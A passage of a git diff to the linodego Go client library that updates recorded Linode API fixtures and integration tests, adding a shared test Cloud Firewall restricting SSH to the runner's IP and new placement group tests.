"youjungk01", "entity": {"label": - "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, + 51.0, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": + "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "finished", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, - "message": ""}, {"id": 603818787, "created": "2018-01-02T03:04:05", "seen": + "message": ""}, {"id": 746174537, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": - null, "duration": 83.0, "action": "linode_boot", "username": "youjungk01", "entity": - {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, - "status": "finished", "secondary_entity": {"id": 55574819, "type": "linode_config", - "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, - "message": ""}], "page": 1, "pages": 1, "results": 2}' + null, "duration": 67.0, "action": "linode_boot", "username": "lgarber-dev", + "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", + "url": "/v4/linode/instances/60303116"}, "status": "finished", "secondary_entity": + {"id": 63502734, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk + Profile", "url": "/v4/linode/instances/60303116/configs/63502734"}, "message": + ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" @@ -702,21 +721,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:56:06 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: @@ -743,19 +764,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/52557993 + url: https://api.linode.com/v4beta/linode/instances/60303116 method: GET response: - body: '{"id": 52557993, "label": "linodego-waitforfree", "group": "", "status": + body: '{"id": 60303116, "label": "linodego-waitforfree", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["45.79.125.110"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.104.207.226"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, - "backups": {"enabled": false, "available": false, "schedule": {"day": null, - "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": - true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": - false}' + "backups": {"enabled": true, "available": true, "schedule": {"day": "Scheduling", + "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": + true, "tags": [], "host_uuid": "6833df95c5afc7bde87b97a18f8204e6eb2187f8", "has_user_data": + false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -768,18 +789,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - - "736" + - "801" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:56:06 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -811,7 +833,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/52557993 + url: https://api.linode.com/v4beta/linode/instances/60303116 method: DELETE response: body: '{}' @@ -827,7 +849,7 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: @@ -836,8 +858,10 @@ interactions: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:56:06 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: diff --git a/test/integration/images_test.go b/test/integration/images_test.go index 095f75fd2..785531d13 100644 --- a/test/integration/images_test.go +++ b/test/integration/images_test.go @@ -130,7 +130,7 @@ func TestImage_CreateUpload(t *testing.T) { func TestImage_CloudInit(t *testing.T) { client, instance, teardown, err := setupInstance( - t, "fixtures/TestImage_CloudInit", + t, "fixtures/TestImage_CloudInit", true, func(client *Client, options *InstanceCreateOptions) { options.Region = getRegionsWithCaps(t, client, []string{"Metadata"})[0] }) diff --git a/test/integration/instance_config_test.go b/test/integration/instance_config_test.go index c803f2f6f..5af8d6c68 100644 --- a/test/integration/instance_config_test.go +++ b/test/integration/instance_config_test.go @@ -25,7 +25,7 @@ func setupVPCWithSubnetWithInstance( client, fixtureTeardown := createTestClient(t, fixturesYaml) instance, instanceConfig, instanceTeardown, err := createInstanceWithoutDisks( t, - client, + client, true, modifiers..., ) if err != nil { @@ -450,7 +450,7 @@ func TestInstance_ConfigInterface_Update(t *testing.T) { } func TestInstance_Configs_List(t *testing.T) { - client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Configs_List") + client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Configs_List", true) defer teardown() if err != nil { t.Error(err) @@ -469,7 +469,7 @@ func TestInstance_Configs_List(t *testing.T) { } func TestInstance_Config_Update(t *testing.T) { - client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Config_Update") + client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Config_Update", true) defer teardown() if err != nil { t.Error(err) diff --git a/test/integration/instance_firewalls_test.go b/test/integration/instance_firewalls_test.go index fb5efbc12..b4ed83ed7 100644 --- a/test/integration/instance_firewalls_test.go +++ b/test/integration/instance_firewalls_test.go @@ -30,7 +30,7 @@ func TestInstanceFirewalls_List(t *testing.T) { func setupInstanceFirewall(t *testing.T, firewallModifiers []firewallModifier, fixturesYaml string) (*linodego.Client, *linodego.Instance, *linodego.Firewall, func(), error) { t.Helper() - client, instance, instanceTeardown, err := setupInstance(t, fixturesYaml, + client, instance, instanceTeardown, err := setupInstance(t, fixturesYaml, false, func(client *linodego.Client, opts *linodego.InstanceCreateOptions) { opts.Label = "linodego-fw-inst-test" }) diff --git a/test/integration/instance_snapshots_test.go b/test/integration/instance_snapshots_test.go index 92ad3e54c..3854aa3dc 100644 --- a/test/integration/instance_snapshots_test.go +++ b/test/integration/instance_snapshots_test.go @@ -87,7 +87,7 @@ func TestInstanceBackups_List(t *testing.T) { func setupInstanceBackup(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.Instance, *linodego.InstanceSnapshot, func(), error) { t.Helper() - client, instance, _, fixtureTeardown, err := setupInstanceWithoutDisks(t, fixturesYaml) + client, instance, _, fixtureTeardown, err := setupInstanceWithoutDisks(t, fixturesYaml, true) if err != nil { t.Errorf("Error creating instance, got error %v", err) } diff --git a/test/integration/instances_test.go b/test/integration/instances_test.go index 351a29293..e80fa6b88 100644 --- a/test/integration/instances_test.go +++ b/test/integration/instances_test.go @@ -6,6 +6,8 @@ import ( "strconv" "testing" + "github.com/stretchr/testify/require" + "github.com/linode/linodego" ) @@ -14,7 +16,7 @@ type instanceModifier func(*linodego.Client, *linodego.InstanceCreateOptions) func TestInstances_List(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks( t, - "fixtures/TestInstances_List", + "fixtures/TestInstances_List", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Region = "eu-west" // Override for metadata availability }, @@ -53,7 +55,7 @@ func TestInstances_List(t *testing.T) { } func TestInstance_Get_smoke(t *testing.T) { - client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Get") + client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Get", true) defer teardown() if err != nil { t.Error(err) @@ -82,7 +84,7 @@ func TestInstance_Get_smoke(t *testing.T) { func TestInstance_Resize(t *testing.T) { client, instance, teardown, err := setupInstance( t, - "fixtures/TestInstance_Resize", + "fixtures/TestInstance_Resize", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { boot := true options.Type = "g6-nanode-1" @@ -119,7 +121,7 @@ func TestInstance_Resize(t *testing.T) { } func TestInstance_Disks_List(t *testing.T) { - client, instance, teardown, err := setupInstance(t, "fixtures/TestInstance_Disks_List") + client, instance, teardown, err := setupInstance(t, "fixtures/TestInstance_Disks_List", true) defer teardown() if err != nil { t.Error(err) @@ -160,7 +162,7 @@ func TestInstance_Disks_List_WithEncryption(t *testing.T) { } func TestInstance_Disk_Resize(t *testing.T) { - client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_Resize") + client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_Resize", true) defer teardown() if err != nil { t.Error(err) @@ -193,7 +195,7 @@ func TestInstance_Disk_Resize(t *testing.T) { func TestInstance_Disk_ListMultiple(t *testing.T) { // This is a long running test - client, instance1, teardown1, err := setupInstance(t, "fixtures/TestInstance_Disk_ListMultiple_Primary") + client, instance1, teardown1, err := setupInstance(t, "fixtures/TestInstance_Disk_ListMultiple_Primary", true) defer teardown1() if err != nil { t.Error(err) @@ -226,7 +228,7 @@ func TestInstance_Disk_ListMultiple(t *testing.T) { t.Error(err) } - client, instance2, _, teardown2, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_ListMultiple_Secondary") + client, instance2, _, teardown2, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_ListMultiple_Secondary", true) defer teardown2() if err != nil { t.Error(err) @@ -269,7 +271,7 @@ func TestInstance_Disk_ListMultiple(t *testing.T) { } func TestInstance_Disk_ResetPassword(t *testing.T) { - client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_ResetPassword") + client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_ResetPassword", true) defer teardown() if err != nil { t.Error(err) @@ -307,7 +309,7 @@ func TestInstance_Disk_ResetPassword(t *testing.T) { } func TestInstance_Volumes_List(t *testing.T) { - client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Volumes_List_Instance") + client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Volumes_List_Instance", true) defer teardown() if err != nil { t.Error(err) @@ -354,7 +356,7 @@ func TestInstance_CreateUnderFirewall(t *testing.T) { } _, _, teardownInstance, err := createInstanceWithoutDisks( t, - client, + client, true, func(_ *linodego.Client, options *linodego.InstanceCreateOptions) { options.FirewallID = firewall.ID }, @@ -369,7 +371,7 @@ func TestInstance_CreateUnderFirewall(t *testing.T) { func TestInstance_Rebuild(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks( t, - "fixtures/TestInstance_Rebuild", + "fixtures/TestInstance_Rebuild", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Region = getRegionsWithCaps(t, client, []string{"Metadata"})[0] }, @@ -443,7 +445,7 @@ func TestInstance_Clone(t *testing.T) { var targetRegion string client, instance, teardownOriginalLinode, err := setupInstance( - t, "fixtures/TestInstance_Clone", + t, "fixtures/TestInstance_Clone", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { targetRegion = getRegionsWithCaps(t, client, []string{"Metadata"})[0] @@ -518,7 +520,7 @@ func TestInstance_Clone(t *testing.T) { } func TestInstance_withMetadata(t *testing.T) { - _, inst, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_withMetadata", + _, inst, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_withMetadata", true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Metadata = &linodego.InstanceMetadataOptions{ UserData: base64.StdEncoding.EncodeToString([]byte("reallycoolmetadata")), @@ -537,7 +539,7 @@ func TestInstance_withMetadata(t *testing.T) { } func TestInstance_DiskEncryption(t *testing.T) { - _, inst, teardown, err := setupInstance(t, "fixtures/TestInstance_DiskEncryption", func(c *linodego.Client, ico *linodego.InstanceCreateOptions) { + _, inst, teardown, err := setupInstance(t, "fixtures/TestInstance_DiskEncryption", true, func(c *linodego.Client, ico *linodego.InstanceCreateOptions) { ico.DiskEncryption = linodego.InstanceDiskEncryptionEnabled ico.Region = "us-east" }) @@ -552,11 +554,38 @@ func TestInstance_DiskEncryption(t *testing.T) { } } -func createInstance(t *testing.T, client *linodego.Client, modifiers ...instanceModifier) (*linodego.Instance, error) { +func TestInstance_withPG(t *testing.T) { + client, clientTeardown := createTestClient(t, "fixtures/TestInstance_withPG") + + pg, pgTeardown, err := createPlacementGroup(t, client) + require.NoError(t, err) + + // Create an instance to assign to the PG + inst, err := createInstance(t, client, true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { + options.Region = pg.Region + options.PlacementGroup = &linodego.InstanceCreatePlacementGroupOptions{ + ID: pg.ID, + } + }) + require.NoError(t, err) + + defer func() { + client.DeleteInstance(context.Background(), inst.ID) + pgTeardown() + clientTeardown() + }() + + require.NotNil(t, inst.PlacementGroup) + require.Equal(t, inst.PlacementGroup.ID, pg.ID) + require.Equal(t, inst.PlacementGroup.Label, pg.Label) + require.Equal(t, inst.PlacementGroup.AffinityType, pg.AffinityType) + require.Equal(t, inst.PlacementGroup.IsStrict, pg.IsStrict) +} + +func createInstance(t *testing.T, client *linodego.Client, enableCloudFirewall bool, modifiers ...instanceModifier) (*linodego.Instance, error) { if t != nil { t.Helper() } - booted := false createOpts := linodego.InstanceCreateOptions{ Label: "go-test-ins-" + randLabel(), @@ -567,19 +596,23 @@ func createInstance(t *testing.T, client *linodego.Client, modifiers ...instance Booted: &booted, } + if enableCloudFirewall { + createOpts.FirewallID = firewallID + } + for _, modifier := range modifiers { modifier(client, &createOpts) } return client.CreateInstance(context.Background(), createOpts) } -func setupInstance(t *testing.T, fixturesYaml string, modifiers ...instanceModifier) (*linodego.Client, *linodego.Instance, func(), error) { +func setupInstance(t *testing.T, fixturesYaml string, EnableCloudFirewall bool, modifiers ...instanceModifier) (*linodego.Client, *linodego.Instance, func(), error) { if t != nil { t.Helper() } client, fixtureTeardown := createTestClient(t, fixturesYaml) - instance, err := createInstance(t, client, modifiers...) + instance, err := createInstance(t, client, EnableCloudFirewall, modifiers...) if err != nil { t.Errorf("failed to create test instance: %s", err) } @@ -598,6 +631,7 @@ func setupInstance(t *testing.T, fixturesYaml string, modifiers ...instanceModif func createInstanceWithoutDisks( t *testing.T, client *linodego.Client, + enableCloudFirewall bool, modifiers ...instanceModifier, ) (*linodego.Instance, *linodego.InstanceConfig, func(), error) { t.Helper() @@ -610,6 +644,10 @@ func createInstanceWithoutDisks( Booted: &falseBool, } + if enableCloudFirewall { + createOpts.FirewallID = GetFirewallID() + } + for _, modifier := range modifiers { modifier(client, &createOpts) } @@ -636,10 +674,10 @@ func createInstanceWithoutDisks( return instance, config, teardown, err } -func setupInstanceWithoutDisks(t *testing.T, fixturesYaml string, modifiers ...instanceModifier) (*linodego.Client, *linodego.Instance, *linodego.InstanceConfig, func(), error) { +func setupInstanceWithoutDisks(t *testing.T, fixturesYaml string, enableCloudFirewall bool, modifiers ...instanceModifier) (*linodego.Client, *linodego.Instance, *linodego.InstanceConfig, func(), error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) - instance, config, instanceTeardown, err := createInstanceWithoutDisks(t, client, modifiers...) + instance, config, instanceTeardown, err := createInstanceWithoutDisks(t, client, enableCloudFirewall, modifiers...) teardown := func() { instanceTeardown() diff --git a/test/integration/integration_suite_test.go b/test/integration/integration_suite_test.go index d416aab32..a4534cc6e 100644 --- a/test/integration/integration_suite_test.go +++ b/test/integration/integration_suite_test.go @@ -19,6 +19,8 @@ import ( ) var ( + optInTestPrefixes []string + testingMode = recorder.ModeDisabled debugAPI = false validTestAPIKey = "NOTANAPIKEY" diff --git a/test/integration/main_test.go b/test/integration/main_test.go new file mode 100644 index 000000000..9f23c9c88 --- /dev/null +++ b/test/integration/main_test.go @@ -0,0 +1,111 @@ +package integration + +import ( + "context" + "fmt" + "github.com/linode/linodego" + "io" + "log" + "net/http" + "os" + "testing" + "time" +) + +var ( + client *linodego.Client + cleanup func() + firewallID int + fixturesYaml = "fixtures/TestLinodeCloudFirewall" +) + +func TestMain(m *testing.M) { + if envFixtureMode, ok := os.LookupEnv("LINODE_FIXTURE_MODE"); ok { + switch envFixtureMode { + case "record": + setupCloudFirewall(nil) + case "play": + log.Printf("[INFO] Fixture mode play - Test Linode Cloud Firewall not created") + } + } + + code := m.Run() + + if envFixtureMode, ok := os.LookupEnv("LINODE_FIXTURE_MODE"); ok && envFixtureMode == "record" { + deleteCloudFirewall() + } + + os.Exit(code) +} + +func setupCloudFirewall(t *testing.T) { + client, cleanup = createTestClient(t, fixturesYaml) + + publicIPv4, err := getPublicIPv4() + if err != nil { + t.Fatalf("[ERROR] Failed to retrieve public IPv4: %v", err) + } + + firewallRuleSet := getDefaultFirewallRuleSet(publicIPv4) + firewallLabel := fmt.Sprintf("cloudfw-%d", time.Now().UnixNano()) + + firewall, err := client.CreateFirewall(context.Background(), linodego.FirewallCreateOptions{ + Label: firewallLabel, + Rules: firewallRuleSet, + }) + if err != nil { + log.Printf("[ERROR] Error creating firewall: %v\n", err) + os.Exit(1) + } + + firewallID = firewall.ID + log.Printf("[INFO] Created Test Linode Cloud Firewall with ID: %d\n", firewallID) +} + +func deleteCloudFirewall() { + if firewallID != 0 { + err := client.DeleteFirewall(context.Background(), firewallID) + if err != nil { + log.Printf("[ERROR] Error deleting Cloud Firewall: %v\n", err) + os.Exit(1) + } + log.Printf("[INFO] Deleted Test Linode Cloud Firewall with ID: %d\n", firewallID) + } +} + +func getDefaultFirewallRuleSet(publicIPv4 string) linodego.FirewallRuleSet { + cloudFirewallRule := linodego.FirewallRule{ + Label: "ssh-inbound-accept-local", + Action: "ACCEPT", + Ports: "22", + Protocol: "TCP", + Addresses: linodego.NetworkAddresses{IPv4: &[]string{publicIPv4}}, + } + + return linodego.FirewallRuleSet{ + Inbound: []linodego.FirewallRule{cloudFirewallRule}, + InboundPolicy: "DROP", + Outbound: []linodego.FirewallRule{}, + OutboundPolicy: "ACCEPT", + } +} + +func getPublicIPv4() (string, error) { + resp, err := http.Get("https://api.ipify.org?format=text") + if err != nil { + return "", err + } + + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return "", err + } + + return string(body) + "/32", nil +} + +func GetFirewallID() int { + return firewallID +} diff --git a/test/integration/network_ips_test.go b/test/integration/network_ips_test.go index 9ce62c75c..b61b5c346 100644 --- a/test/integration/network_ips_test.go +++ b/test/integration/network_ips_test.go @@ -29,7 +29,7 @@ func TestIPAddress_GetMissing(t *testing.T) { } func TestIPAddress_GetFound(t *testing.T) { - client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_GetFound") + client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_GetFound", true) defer teardown() if err != nil { t.Errorf("Error creating IPAddress test Instance, got error %v", err) @@ -46,7 +46,7 @@ func TestIPAddress_GetFound(t *testing.T) { } func TestIPAddresses_List_smoke(t *testing.T) { - client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddresses_List") + client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddresses_List", true) defer teardown() if err != nil { t.Errorf("Error creating IPAddress test Instance, got error %v", err) @@ -111,7 +111,7 @@ func TestIPAddresses_Instance_Get(t *testing.T) { } func TestIPAddress_Update(t *testing.T) { - client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Update") + client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Update", true) defer teardown() if err != nil { t.Error(err) @@ -137,7 +137,7 @@ func TestIPAddress_Update(t *testing.T) { // TestIPAddress_Instance_Delete requires the customer account to have // default_IPMax set to at least 2 and default_InterfaceMax set to 3. func TestIPAddress_Instance_Delete(t *testing.T) { - client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Delete") + client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Delete", true) defer teardown() if err != nil { t.Error(err) @@ -169,13 +169,13 @@ func TestIPAddress_Instance_Delete(t *testing.T) { } func TestIPAddress_Instance_Assign(t *testing.T) { - client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Assign") + client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Assign", true) defer teardown() if err != nil { t.Error(err) } - newInstance, err := createInstance(t, client, func(client *Client, options *InstanceCreateOptions) { + newInstance, err := createInstance(t, client, true, func(client *Client, options *InstanceCreateOptions) { options.Label = "go-ins-test-assign" options.Region = instance.Region }) @@ -229,13 +229,13 @@ func TestIPAddress_Instance_Assign(t *testing.T) { } func TestIPAddress_Instance_Share(t *testing.T) { - client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Share") + client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Share", true) defer teardown() if err != nil { t.Error(err) } - newInstance, err := createInstance(t, client, func(client *Client, options *InstanceCreateOptions) { + newInstance, err := createInstance(t, client, true, func(client *Client, options *InstanceCreateOptions) { options.Label = "go-ins-test-share" options.Region = instance.Region }) diff --git a/test/integration/network_ranges_test.go b/test/integration/network_ranges_test.go index b50623271..277cd4d3e 100644 --- a/test/integration/network_ranges_test.go +++ b/test/integration/network_ranges_test.go @@ -64,7 +64,7 @@ func TestIPv6Range_Share(t *testing.T) { t.Fatal(err) } - inst, err := createInstance(t, client, func(client *Client, inst *InstanceCreateOptions) { + inst, err := createInstance(t, client, true, func(client *Client, inst *InstanceCreateOptions) { inst.Label = "go-ins-test-share6" inst.Region = origInst.Region }) @@ -149,7 +149,7 @@ func setupIPv6RangeInstance(t *testing.T, ipv6RangeModifiers []ipv6RangeModifier t.Cleanup(fixtureTeardown) - instance, err := createInstance(t, client, func(client *Client, inst *InstanceCreateOptions) { + instance, err := createInstance(t, client, true, func(client *Client, inst *InstanceCreateOptions) { inst.Label = "go-ins-test-range6" // This should stay hard-coded until IPv6 sharing has a diff --git a/test/integration/nodebalancer_config_nodes_test.go b/test/integration/nodebalancer_config_nodes_test.go index 2d2516ef7..0e95e5112 100644 --- a/test/integration/nodebalancer_config_nodes_test.go +++ b/test/integration/nodebalancer_config_nodes_test.go @@ -165,7 +165,7 @@ func setupNodeBalancerNode(t *testing.T, fixturesYaml string) (*linodego.Client, t.Fatalf("Error creating nodebalancer config, got error %v", err) } - client, instance, instanceTeardown, err := setupInstance(t, fixturesYaml+"Instance") + client, instance, instanceTeardown, err := setupInstance(t, fixturesYaml+"Instance", true) if err != nil { t.Fatal(err) } diff --git a/test/integration/nodebalancers_test.go b/test/integration/nodebalancers_test.go index fd18fb275..1a786406e 100644 --- a/test/integration/nodebalancers_test.go +++ b/test/integration/nodebalancers_test.go @@ -84,12 +84,11 @@ func setupNodeBalancer(t *testing.T, fixturesYaml string) (*linodego.Client, *li t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) - firewall, firewallTeardown, err := createFirewall(t, client) createOpts := linodego.NodeBalancerCreateOptions{ Label: &label, Region: getRegionsWithCaps(t, client, []string{"NodeBalancers"})[0], ClientConnThrottle: &clientConnThrottle, - FirewallID: firewall.ID, + FirewallID: GetFirewallID(), } nodebalancer, err := client.CreateNodeBalancer(context.Background(), createOpts) @@ -101,7 +100,6 @@ func setupNodeBalancer(t *testing.T, fixturesYaml string) (*linodego.Client, *li if err := client.DeleteNodeBalancer(context.Background(), nodebalancer.ID); err != nil { t.Errorf("Expected to delete a nodebalancer, but got %v", err) } - firewallTeardown() fixtureTeardown() } return client, nodebalancer, teardown, err diff --git a/test/integration/placement_group_test.go b/test/integration/placement_group_test.go new file mode 100644 index 000000000..7507f77ff --- /dev/null +++ b/test/integration/placement_group_test.go @@ -0,0 +1,145 @@ +package integration + +import ( + "context" + "fmt" + "reflect" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/linode/linodego" +) + +type placementGroupModifier func(*linodego.Client, *linodego.PlacementGroupCreateOptions) + +func TestPlacementGroup_basic(t *testing.T) { + client, clientTeardown := createTestClient(t, "fixtures/TestPlacementGroup_basic") + + // Create a PG + pg, pgTeardown, err := createPlacementGroup(t, client) + require.NoError(t, err) + + defer func() { + pgTeardown() + clientTeardown() + }() + + require.NotEqual(t, pg.ID, 0) + require.Contains(t, pg.Label, "linodego-test-") + require.NotEmpty(t, pg.Label) + require.Equal(t, pg.AffinityType, linodego.AffinityTypeAntiAffinityLocal) + require.Equal(t, pg.IsStrict, false) + require.Len(t, pg.Members, 0) + + updatedLabel := pg.Label + "-updated" + + // Test that the PG can be updated + pg, err = client.UpdatePlacementGroup( + context.Background(), + pg.ID, + linodego.PlacementGroupUpdateOptions{ + Label: updatedLabel, + }, + ) + require.NoError(t, err) + require.Equal(t, pg.Label, updatedLabel) + + // Test that the PG can be retrieved from the get endpoint + refreshedPG, err := client.GetPlacementGroup(context.Background(), pg.ID) + require.NoError(t, err) + require.True(t, reflect.DeepEqual(refreshedPG, pg)) + + // Test that the PG can be retrieved from the list endpoint + listedPGs, err := client.ListPlacementGroups(context.Background(), &linodego.ListOptions{ + Filter: fmt.Sprintf("{\"id\": %d}", pg.ID), + }) + require.NoError(t, err) + require.NotEmpty(t, listedPGs) + require.True(t, reflect.DeepEqual(listedPGs[0], *pg)) +} + +func TestPlacementGroup_assignment(t *testing.T) { + client, clientTeardown := createTestClient(t, "fixtures/TestPlacementGroup_assignment") + + pg, pgTeardown, err := createPlacementGroup(t, client) + require.NoError(t, err) + + // Create an instance to assign to the PG + inst, err := createInstance(t, client, true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { + options.Region = pg.Region + }) + require.NoError(t, err) + + defer func() { + // client.DeleteInstance(context.Background(), inst.ID) + pgTeardown() + clientTeardown() + }() + + // Ensure assignment works as expected + pg, err = client.AssignPlacementGroupLinodes( + context.Background(), + pg.ID, + linodego.PlacementGroupAssignOptions{ + Linodes: []int{ + inst.ID, + }, + }, + ) + require.NoError(t, err) + require.Len(t, pg.Members, 1) + require.Equal(t, pg.Members[0].LinodeID, inst.ID) + + // Refresh the instance to ensure the assignment has completed + inst, err = client.GetInstance(context.Background(), inst.ID) + require.NoError(t, err) + require.NotNil(t, inst.PlacementGroup) + require.Equal(t, inst.PlacementGroup.ID, pg.ID) + require.Equal(t, inst.PlacementGroup.Label, pg.Label) + require.Equal(t, inst.PlacementGroup.IsStrict, pg.IsStrict) + require.Equal(t, inst.PlacementGroup.AffinityType, pg.AffinityType) + + // Ensure unassignment works as expected + pg, err = client.UnassignPlacementGroupLinodes( + context.Background(), + pg.ID, + linodego.PlacementGroupUnAssignOptions{ + Linodes: []int{ + inst.ID, + }, + }, + ) + require.NoError(t, err) + require.Len(t, pg.Members, 0) +} + +func createPlacementGroup( + t *testing.T, + client *linodego.Client, + pgModifier ...placementGroupModifier, +) (*linodego.PlacementGroup, func(), error) { + t.Helper() + createOpts := linodego.PlacementGroupCreateOptions{ + Label: "linodego-test-" + getUniqueText(), + Region: getRegionsWithCaps(t, client, []string{"Placement Group"})[0], + AffinityType: linodego.AffinityTypeAntiAffinityLocal, + IsStrict: false, + } + + for _, mod := range pgModifier { + mod(client, &createOpts) + } + + pg, err := client.CreatePlacementGroup(context.Background(), createOpts) + if err != nil { + t.Fatalf("failed to create placement group: %s", err) + } + + teardown := func() { + if err := client.DeletePlacementGroup(context.Background(), pg.ID); err != nil { + t.Errorf("failed to delete placement group: %s", err) + } + } + return pg, teardown, err +} diff --git a/test/integration/regions_test.go b/test/integration/regions_test.go index 2ace12e1c..b4de36985 100644 --- a/test/integration/regions_test.go +++ b/test/integration/regions_test.go @@ -2,7 +2,11 @@ package integration import ( "context" + "slices" "testing" + + "github.com/linode/linodego" + "github.com/stretchr/testify/require" ) func TestRegions_List(t *testing.T) { @@ -21,3 +25,23 @@ func TestRegions_List(t *testing.T) { retryStatement(t, 3, testFunc) } + +func TestRegions_pgLimits(t *testing.T) { + client, teardown := createTestClient(t, "fixtures/TestRegions_pgLimits") + defer teardown() + + regions, err := client.ListRegions(context.Background(), nil) + require.NoError(t, err) + + // Filtering is not currently supported on capabilities + regionIdx := slices.IndexFunc(regions, func(region linodego.Region) bool { + return slices.Contains(region.Capabilities, "Placement Group") + }) + require.NotZero(t, regionIdx) + + region := regions[regionIdx] + + require.NotNil(t, region.PlacementGroupLimits) + require.NotZero(t, region.PlacementGroupLimits.MaximumLinodesPerPG) + require.NotZero(t, region.PlacementGroupLimits.MaximumPGsPerCustomer) +} diff --git 